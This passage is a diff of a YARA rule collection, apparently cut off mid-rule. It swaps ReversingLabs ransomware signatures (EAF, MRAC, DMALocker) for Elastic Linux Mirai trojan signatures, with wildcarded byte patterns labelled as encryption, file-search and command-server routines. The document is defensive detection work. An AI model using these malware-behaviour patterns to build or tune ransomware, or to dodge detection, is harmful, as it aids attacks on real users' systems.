-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara#L1-L89"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3d10c852f95e8aa9bcd3543b96650b98ac57bcd2aa2b374e0badb63b5a4c0396"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "a68e498c-0768-4321-ab65-42dd6ef85323"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1343-L1361"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "e4552813dc92b397c5ba78f32ee6507520f337b55779a3fc705de7e961f8eb8f"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "EAF"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            00 03 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 39 ?? ?? ?? ?? 00 7E ??
-            ?? ?? ?? 0C 03 28 ?? ?? ?? ?? 0D 03 28 ?? ?? ?? ?? 13 ?? 1E 8D ?? ?? ?? ?? 25 16 11 ??
-            A2 25 17 72 ?? ?? ?? ?? A2 25 18 7E ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 28 ??
-            ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 09 A2 25 1D 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ??
-            13 ?? 02 03 11 ?? 08 28 ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            2B ?? 16 13 ?? 11 ?? 2C ?? 00 00 03 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00
-            00 00 DE ?? 26 00 00 DE ?? 2A
-        }
-		$encrypt_files_p2 = {
-            00 03 19 73 ?? ?? ?? ?? 0A 00 04 18 73 ?? ?? ?? ?? 0B 00 06 16 6A 6F ?? ?? ?? ?? 00 28
-            ?? ?? ?? ?? 0C 00 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 05 09 73 ??
-            ?? ?? ?? 13 ?? 00 08 17 6F ?? ?? ?? ?? 00 08 18 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 08 6F ??
-            ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 20 ?? ?? ?? ?? 13 ?? 11 ?? 8D ?? ?? ?? ?? 13 ?? 16
-            13 ?? 00 06 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 13
-            ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ??
-            32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16
-            11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02
-            16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ??
-            00 07 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 58 13 ?? 00 11 ?? 16 FE 03 13 ??
-            11 ?? 3A ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ??
-            00 DC 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 2C ?? 08 6F ?? ?? ??
-            ?? 00 DC 07 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 6F ?? ?? ??
-            ?? 00 00 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC 03 28 ?? ?? ?? ?? 00 17 13 ?? DE ?? 26
-            00 16 13 ?? DE ?? 11 ?? 2A
-        }
-		$find_files_p1 = {
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D 00 09 06 08 9A
-            28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 09 FE 06 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 06 08 9A 6F ?? ?? ?? ?? 00 00 00 08 17
-            58 0C 08 06 8E 69 FE 04 13 ?? 11 ?? 3A ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 16
-            13 ?? 2B ?? 00 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 07 11 ?? 9A 28 ?? ?? ?? ?? 00
-            00 00 11 ?? 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 DE ?? 26 00 00 DE ??
-            2A
-        }
-		$find_files_p2 = {
-            00 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 00 08 7B
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 7B ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 2B ?? 16 0D 09 2C ?? 00 08 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 06 8E 69 32 ?? 00 DE ?? 26 00 00 DE ?? 2A
-        }
-		$destroy_exe_file = {
-            00 1F ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 7E ??
-            ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 1B 8D ??
-            ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 06 A2 25 18 72 ?? ?? ?? ?? A2 25 19 28 ?? ?? ??
-            ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00
-            DE ?? 26 00 00 DE ?? 2A
-        }
+		$a = { 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($destroy_exe_file)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_MRAC : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_88De437F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects MRAC ransomware."
-		author = "ReversingLabs"
-		id = "135c3dc9-bf08-5f00-bade-7054d9f33830"
-		date = "2022-02-21"
-		modified = "2022-02-21"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.MRAC.yara#L1-L69"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "04e8364dc9c726f4bb2d3035e5b7e8dab4cae124b2f047be6f11b865fab557a7"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "88de437f-9c98-4e1d-96c0-7b433c99886a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1363-L1381"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "233dbf3d13c35f4c9c7078d67ea60086355c801ce6515f9d3c518e95afd39d85"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "MRAC"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files = {
-            B8 ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ??
-            83 C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B 75 ?? 85 C0 75 ?? B1
-            ?? EB ?? 32 C9 8B 45 ?? 88 4D ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? 8B C6 81 F9 ??
-            ?? ?? ?? 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ??
-            8A 4D ?? 83 C4 ?? 8A C1 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ??
-            ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8
-        }
-		$import_key = {
-            8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 89 45 ?? 8D 4D ?? 51 50 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? FF
-            75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F
-            84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15
-            ?? ?? ?? ?? 8B C8 F6 C1 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 C1 E8 ?? 40 C1 E0 ?? 2B
-            C1 68 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 6A
-            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8B 45 ?? 3D ?? ?? ?? ?? 0F 92 C3 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 57 6A ?? 0F
-            B6 C3 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D
-            45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? EB ?? 8B 75 ?? 84
-            DB 74
-        }
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 74 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 06 FF
-            D7 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3
-            F6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B
-            4D ?? 6A ?? 68 ?? ?? ?? ?? E8
-        }
+		$a = { 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($import_key) and ($encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Dmalocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_95E0056C : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DMALocker ransomware."
-		author = "ReversingLabs"
-		id = "3ddef0f1-61c9-59f6-a02c-35768c2cd4d6"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DMALocker.yara#L1-L149"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "107dbc4cacd9d451e9c6fe8aa91cd612f70ac767ee70f74f3a77d1e5548b054f"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "95e0056c-bc07-42cf-89ab-6c0cde3ccc8a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1383-L1401"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45f67d4c18abc1bad9a9cc6305983abf3234cd955d2177f1a72c146ced50a380"
+		logic_hash = "9e34891d28034d1f4fc3da5cb99df8fc74f0b876903088f5eab5fe36e0e0e603"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "DMALocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a2550fdd2625f85050cfe53159858207a79e8337412872aaa7b4627b13cb6c94"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$dmalock_v1_encrypt_files_1 = {
-            83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
-            ?? ?? A3 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83
-            F8 ?? 75 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8A 9D ?? ?? ??
-            ?? 33 C0 84 DB 74 ?? EB ?? 8D [2-5] 8A 90 ?? ?? ?? ?? 84 D2 74 ?? 8A 8C 05
-            ?? ?? ?? ?? 3A CA 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C
-            05 ?? ?? ?? ?? 3A 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 84 DB 74 ?? 8A 90 ?? ?? ??
-            ?? 84 D2 74 ?? 8A 8C 05 ?? ?? ?? ?? 3A CA
-        }
-		$dmalock_v1_encrypt_files_2 = {
-            EB ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 52 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? 8B 4D ?? 5F 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$dmalock_v1_encrypt_files_3 = {
-            74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C 05 ?? ?? ?? ?? 3A
-            88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 8D 95 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? A8 ?? 74 ?? A8 ?? 0F 85 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 55
-            ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4
-        }
-		$dmalock_v1_enum_shares_and_discs_type_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
-            ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 C4 ?? 89 ?? ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? 85 ?? 0F 84 ?? ?? ?? ?? ?? 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? ??
-            8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 ?? 6A ?? 89 45 ?? 66 89 45 ?? 88 45 ?? 8D 45 ??
-            6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 75 ?? B3 ?? 6A ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD
-            E8 ?? ?? ?? ?? 8B E5 5D C3 8D 95 ?? ?? ?? ?? 52 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 72 ?? C6
-            85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ??
-            8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 51 52 68
-        }
-		$dmalock_v1_enum_shares_and_discs_type_2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 8B 5D ?? 56 57
-            8D 8D ?? ?? ?? ?? 51 50 6A ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 95 ?? ?? ??
-            ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 85 FF 75 ?? 50 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ??
-            ?? 8D A4 24 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 57 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 76 ?? 8D 77 ?? EB ?? 8D A4 24
-            ?? ?? ?? ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51
-            C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0E 8B C1 83 C4 ?? 8D 78 ?? 8B FF 8A 10 40 84
-            D2 75 ?? 2B C7 50 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 06 83 C4 ?? 8D 50 ?? 90
-            8A 08 40 84 C9 75 ?? 2B C2 6A ?? 8D 84 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8B 4D ?? 83 C4 ?? 51 8D 95 ?? ?? ?? ?? 53 52 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83
-            C4 ?? 8B 46 ?? 83 E0 ?? 3C ?? 75 ?? 8B 4D ?? 51 53 8D 56 ?? 52 E8 ?? ?? ?? ?? 85 C0
-            75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 40 83 C6 ?? 89 85 ??
-            ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8B 4D ?? F7 D8 5F 1B C0 5E 33 CD 40 5B E8 ?? ?? ?? ?? 8B E5 5D C2
-        }
-		$dmalock_v1_enum_shares_and_discs_type_3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 6A ?? 51 8B D8 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? F7 C3 ?? ?? ?? ?? 76 ?? 57 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B F0 56 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 74 ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8B
-            55 ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 D1 EB
-            FF 8D ?? ?? ?? ?? 75 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$dmalock_v2_enum_logical_disks = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 33 DB 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE 4D ?? 51 8D 95 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ??
-            ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ??
-            B0 ?? 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 8A C3 33 CD 5B E8 ?? ??
-            ?? ?? 8B E5 5D C3
-        }
-		$dmalock_v4_remote_server_communication = {
-            85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 0F
-            87 ?? ?? ?? ?? FF 24 9D ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83
-            C4 ?? B0 ?? C3 8B 4E ?? 8B 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0
-            ?? C3 8B 46 ?? 8B 4E ?? 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B
-            56 ?? 8B 46 ?? 52 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 4E ?? 8B
-            56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? 8B
-            56 ?? 50 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ??
-            50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 32 C0 C3
-        }
-		$dmalock_v4_encrypt_file_1 = {
